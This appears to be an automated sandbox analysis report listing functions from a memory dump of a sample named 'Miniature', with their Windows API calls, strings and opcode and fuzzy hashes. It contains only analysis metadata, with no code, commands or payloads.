Instruction Fuzzy Hash: 0F2191709083159F8714EF28C8818AAB7F4BE5A364F20461DF5A5C72F1D731DA45EB92

Function 00FA5B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FA5B58

Part of subcall function 00FA56F8: _memset.LIBCMT ref: 00FA5787
Part of subcall function 00FA56F8: _wcscpy.LIBCMT ref: 00FA57DB
Part of subcall function 00FA56F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00FA57EB

KillTimer.USER32(?,00000001,?,?), ref: 00FA5BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00FA5BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00FE0D7C

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 034dcfb99d06f2700229bea5288d05d0702576f2e62dffeb67361a3a177119ff
Instruction ID: 6370b3467139d59b804a201a9eaf8a1f447543b2c7c3a701d53a5b7c9f179ea6
Opcode Fuzzy Hash: 034dcfb99d06f2700229bea5288d05d0702576f2e62dffeb67361a3a177119ff
Instruction Fuzzy Hash: 72210AB0D047849FE7728B649C95BEBBBECAF02718F04008DF6D956245CB7529C4EB51

Function 00FA278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00FA49C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00FA27AF,?,00000001), ref: 00FA49F4

_free.LIBCMT ref: 00FDFB04
_free.LIBCMT ref: 00FDFB4B

Part of subcall function 00FA29BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00FA2ADF

Strings

Bad directive syntax error, xrefs: 00FDFB33

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: 77a27acfc54c6b67c6d21a5ad5c909b89ab830ad81fa77d62c15ff909db6c0a8
Instruction ID: bd8753a611b1fb9f6ee097d0fd5f58c6391079e1af030862b900b6a99438421e
Opcode Fuzzy Hash: 77a27acfc54c6b67c6d21a5ad5c909b89ab830ad81fa77d62c15ff909db6c0a8
Instruction Fuzzy Hash: D9916D71D10219AFCF14EFA4CC919EDB7B5BF05310F14452AF816AB2A1DB38AA09EB50

Function 00FF9CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00FA4AB2: __fread_nolock.LIBCMT ref: 00FA4AD0

_wcscmp.LIBCMT ref: 00FF9DE1
_wcscmp.LIBCMT ref: 00FF9DF4

Strings

FILE, xrefs: 00FF9D2D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 196b1a8802b7e04784abd58d4d71a4478ab5d693832ad1f3bb7727ec97b31ca2
Instruction ID: 3592884680e6883dd7c529e3554de05c5d0181f48712be3c4a6b1d36a44a97cd
Opcode Fuzzy Hash: 196b1a8802b7e04784abd58d4d71a4478ab5d693832ad1f3bb7727ec97b31ca2
Instruction Fuzzy Hash: 2F41E672A44209BADF21DEA4CC45FEF77BDDF85710F00046AFA01E7290DAB9AD059B64

Function 00FA31BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FE032B
GetOpenFileNameW.COMDLG32(?), ref: 00FE0375

Part of subcall function 00FB0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FA2A58,?,00008000), ref: 00FB02A4

Part of subcall function 00FB09C5: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00FB09E4

Strings

X, xrefs: 00FE0343

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 1bbf05f093eece1f0e7d728e4460c2a7f198da0039d71a2dbc5f0f8047cffe7b
Instruction ID: 3ef012e092cbd6794d32141bb7fdc41fe9e0df57a214a0be32bc1dcd2876b4ad
Opcode Fuzzy Hash: 1bbf05f093eece1f0e7d728e4460c2a7f198da0039d71a2dbc5f0f8047cffe7b
Instruction Fuzzy Hash: 8321F671A002889BCF51DF94CC45BEE7BF8AF49304F00405AF404A7241DBB99A88EFA1

Function 0100D1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09d05bed176d3f59b148898be3033fba75041caa01d7083a7bfaddde8dee183d
Instruction ID: b43c202c9702ddf26d27005f47675a402e22e44363380613fedb355cc784c97f
Opcode Fuzzy Hash: 09d05bed176d3f59b148898be3033fba75041caa01d7083a7bfaddde8dee183d
Instruction Fuzzy Hash: 5CF159705083019FD715DFA8C880A6ABBE5FF88314F14896EF8999B391DB34E945CF92

Function 00F9AAAA Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB07BB: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00FB07EC
Part of subcall function 00FB07BB: MapVirtualKeyW.USER32(00000010,00000000), ref: 00FB07F4
Part of subcall function 00FB07BB: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00FB07FF
Part of subcall function 00FB07BB: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00FB080A
Part of subcall function 00FB07BB: MapVirtualKeyW.USER32(00000011,00000000), ref: 00FB0812
Part of subcall function 00FB07BB: MapVirtualKeyW.USER32(00000012,00000000), ref: 00FB081A

Part of subcall function 00FAFF4C: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00F9AC6B), ref: 00FAFFA7

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00F9AD08
OleInitialize.OLE32(00000000), ref: 00F9AD85
CloseHandle.KERNEL32(00000000), ref: 00FD2F56

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 671b57950f1c93232ea69c3f082bea80936b5b7bfe9e94a21f70921af02fd73c
Instruction ID: 7f55cdd83537e5518fe36ee7fa2060b3456a23fdcc847d6761afdfdeb9e0e325
Opcode Fuzzy Hash: 671b57950f1c93232ea69c3f082bea80936b5b7bfe9e94a21f70921af02fd73c
Instruction Fuzzy Hash: B881CAB09013448FC3A8EF69E8456277FE9FB493147D0856AE8D8C725AEB3A4805FF51

Function 00FA59D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FA59F9
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00FA5A9E
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00FA5ABB

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 1c03bf4ea3c8474b3783fca0f91b817a91e6432131acb0c85fe90f932ba8ada9
Instruction ID: 4470b19ec7c553b0cd5fde2e12a33ad6e2475d5a57f69c0358d8656dff68fea6
Opcode Fuzzy Hash: 1c03bf4ea3c8474b3783fca0f91b817a91e6432131acb0c85fe90f932ba8ada9
Instruction Fuzzy Hash: 023191B0A057019FC731DF24D88469BBBF8FB49718F400A2EF5DA87240E779A944EB52

Function 00FB593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00FB5953

Part of subcall function 00FBA39B: __NMSG_WRITE.LIBCMT ref: 00FBA3C2
Part of subcall function 00FBA39B: __NMSG_WRITE.LIBCMT ref: 00FBA3CC

__NMSG_WRITE.LIBCMT ref: 00FB595A

Part of subcall function 00FBA3F8: GetModuleFileNameW.KERNEL32(00000000,010553BA,00000104,00000004,00000001,00FB1003), ref: 00FBA48A
Part of subcall function 00FBA3F8: ___crtMessageBoxW.LIBCMT ref: 00FBA538

Part of subcall function 00FB32CF: ___crtCorExitProcess.LIBCMT ref: 00FB32D5
Part of subcall function 00FB32CF: ExitProcess.KERNEL32 ref: 00FB32DE

Part of subcall function 00FB8D58: __getptd_noexit.LIBCMT ref: 00FB8D58

RtlAllocateHeap.NTDLL(011A0000,00000000,00000001,?,00000004,?,?,00FB1003,?), ref: 00FB597F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 5928685a030fdb0f1710e11811caa4491791086b92b62bfcfe2ecbdccfd83de6
Instruction ID: 8fcd2f1da3bd802fcc5392183a178de40b47aee87b2889e86185bd4db6baa7db
Opcode Fuzzy Hash: 5928685a030fdb0f1710e11811caa4491791086b92b62bfcfe2ecbdccfd83de6
Instruction Fuzzy Hash: 7C01F536741B06DAE7252B779C02BEE32588F82BB0F500027F9159A1D1DE7D8D01AF61

Function 00FF92C8 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00FF92D6

Part of subcall function 00FB2F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00FB9C54,00000000,00FB8D5D,00FB59C3), ref: 00FB2F99
Part of subcall function 00FB2F85: GetLastError.KERNEL32(00000000,?,00FB9C54,00000000,00FB8D5D,00FB59C3), ref: 00FB2FAB

_free.LIBCMT ref: 00FF92E7
_free.LIBCMT ref: 00FF92F9

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction ID: a0deed25b1e9a465ad7f734ad8fb0888cd5055b616321224d44547760868a44e
Opcode Fuzzy Hash: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction Fuzzy Hash: 98E0C2A1B0860293CA20A53A6C40FF377EC0F88321714040EB509DB142EE68E841B438

Function 00F95E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 00FCE234

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: cf15e6eeab8f52bca79a91320aeef572cb5245617468511dcd3464a859b3c795
Instruction ID: 2b2f448b2ad060747225e7cf2dd9598e59eaa281108f46bafad524e97dd548e9
Opcode Fuzzy Hash: cf15e6eeab8f52bca79a91320aeef572cb5245617468511dcd3464a859b3c795
Instruction Fuzzy Hash: 5A326A71908301CFEB24DF14C591B6ABBE1BF84714F15856DE88A8B362D735EC85EB82

Function 00FA48B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FA48FA

Strings

EA06, xrefs: 00FE08A1

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 649d1e12cb82026fe4e8b2935ac13e9e62c67edb3b58ecb3abc695ec112caf95
Instruction ID: 9bca05a1c8567e463c27fb8eaf3467d72f2c236f9d52aaf42dd072d565c72e67
Opcode Fuzzy Hash: 649d1e12cb82026fe4e8b2935ac13e9e62c67edb3b58ecb3abc695ec112caf95
Instruction Fuzzy Hash: 7A419EB2E041985BDF219B548C517BF7BA58BCB310F184075F882E7286D6A4AE94B3E1

Function 0100E139 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 0100E20C

Part of subcall function 00F94D37: __itow.LIBCMT ref: 00F94D62
Part of subcall function 00F94D37: __swprintf.LIBCMT ref: 00F94DAC

_wcscpy.LIBCMT ref: 0100E29B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: 7fc2321255a382fdfbbb12863c2d94ca6e3e9ef91a150766f5d5e325daac5e13
Instruction ID: cda0270570066184bfa93f7de7950f4e341d1ad1e985d5653d8581b7f38efbbd
Opcode Fuzzy Hash: 7fc2321255a382fdfbbb12863c2d94ca6e3e9ef91a150766f5d5e325daac5e13
Instruction Fuzzy Hash: 69914A34A00505DFEB19DF18C9859ADBBE5FF49310B45C49AE84A9F3A2DB34F901CB81

Function 00FB0E38 Relevance: 3.1, APIs: 2, Instructions: 94processCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00FB0ED5
CreateProcessW.KERNEL32 ref: 00FB0EE7

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 3f18400c2e2d08cf6b33990dad131cd25d004b5b57c46f42e5148831acf50e81
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 4E31EA71A00109DFD718DF19C480AAAF7A5FF49310B648A95E409CF265DB31EDC1DF80

Function 00FA5F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00FA5FEF

Part of subcall function 00FB359C: __lock.LIBCMT ref: 00FB35A2
Part of subcall function 00FB359C: DecodePointer.KERNEL32(00000001,?,00FA6004,00FE8892), ref: 00FB35AE
Part of subcall function 00FB359C: EncodePointer.KERNEL32(?,?,00FA6004,00FE8892), ref: 00FB35B9

Part of subcall function 00FA5F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00FA5F18
Part of subcall function 00FA5F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00FA5F2D

Part of subcall function 00FA5240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00FA526C
Part of subcall function 00FA5240: IsDebuggerPresent.KERNEL32 ref: 00FA527E
Part of subcall function 00FA5240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00FA52E6
Part of subcall function 00FA5240: SetCurrentDirectoryW.KERNEL32(?), ref: 00FA5366

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00FA602F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 360a1ba7e5a5a26dba628e53a160eb0eb785b489c94326eeba6ead0e9ca6597d
Instruction ID: d3e14589a030bb691e623c0255879b8f264cf19e7b25e1f633befcbe4e6bfc6c
Opcode Fuzzy Hash: 360a1ba7e5a5a26dba628e53a160eb0eb785b489c94326eeba6ead0e9ca6597d
Instruction Fuzzy Hash: 1611CD718083019BC720EF69E80594BBFE8FF98750F00851FF485832A5DB799545EF92

Function 00FA42F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,00FA3E72,?,?,?,00000000), ref: 00FA4327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,00FA3E72,?,?,?,00000000), ref: 00FE0717

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 595d5d0267af329579e4ea467a6f7034f614cbb3b3aeff19224ed4321be5b075
Instruction ID: 291da52f01babf9fcd2a2c34cb40b619fbb4b5dfdc6486a1327947f4621a377e
Opcode Fuzzy Hash: 595d5d0267af329579e4ea467a6f7034f614cbb3b3aeff19224ed4321be5b075
Instruction Fuzzy Hash: FC0184B0184309BEF7300E148C86F767A9CAB52778F10C215FAD45A1D0C6F56C45AB14

Function 00FB0FE6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FB593C: __FF_MSGBANNER.LIBCMT ref: 00FB5953
Part of subcall function 00FB593C: __NMSG_WRITE.LIBCMT ref: 00FB595A
Part of subcall function 00FB593C: RtlAllocateHeap.NTDLL(011A0000,00000000,00000001,?,00000004,?,?,00FB1003,?), ref: 00FB597F

std::exception::exception.LIBCMT ref: 00FB101C
__CxxThrowException@8.LIBCMT ref: 00FB1031

Part of subcall function 00FB87CB: RaiseException.KERNEL32(?,?,?,0104CAF8,?,?,?,?,?,00FB1036,?,0104CAF8,?,00000001), ref: 00FB8820

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: bc590ae88a51701cc97afb45f3e9907b7298e88088dd0d2b2754923411fb7160
Instruction ID: 4015c1f63a56f28ac0eb85997b8c3b672976f0562458c5d2ae881dccb4c58773
Opcode Fuzzy Hash: bc590ae88a51701cc97afb45f3e9907b7298e88088dd0d2b2754923411fb7160
Instruction Fuzzy Hash: 1EF02D3160421DA2C724BB5AFC169DE779CAF01390F500015F81496581DF748A81EED0

Function 00FB581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FB584C
__lock_file.LIBCMT ref: 00FB586D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
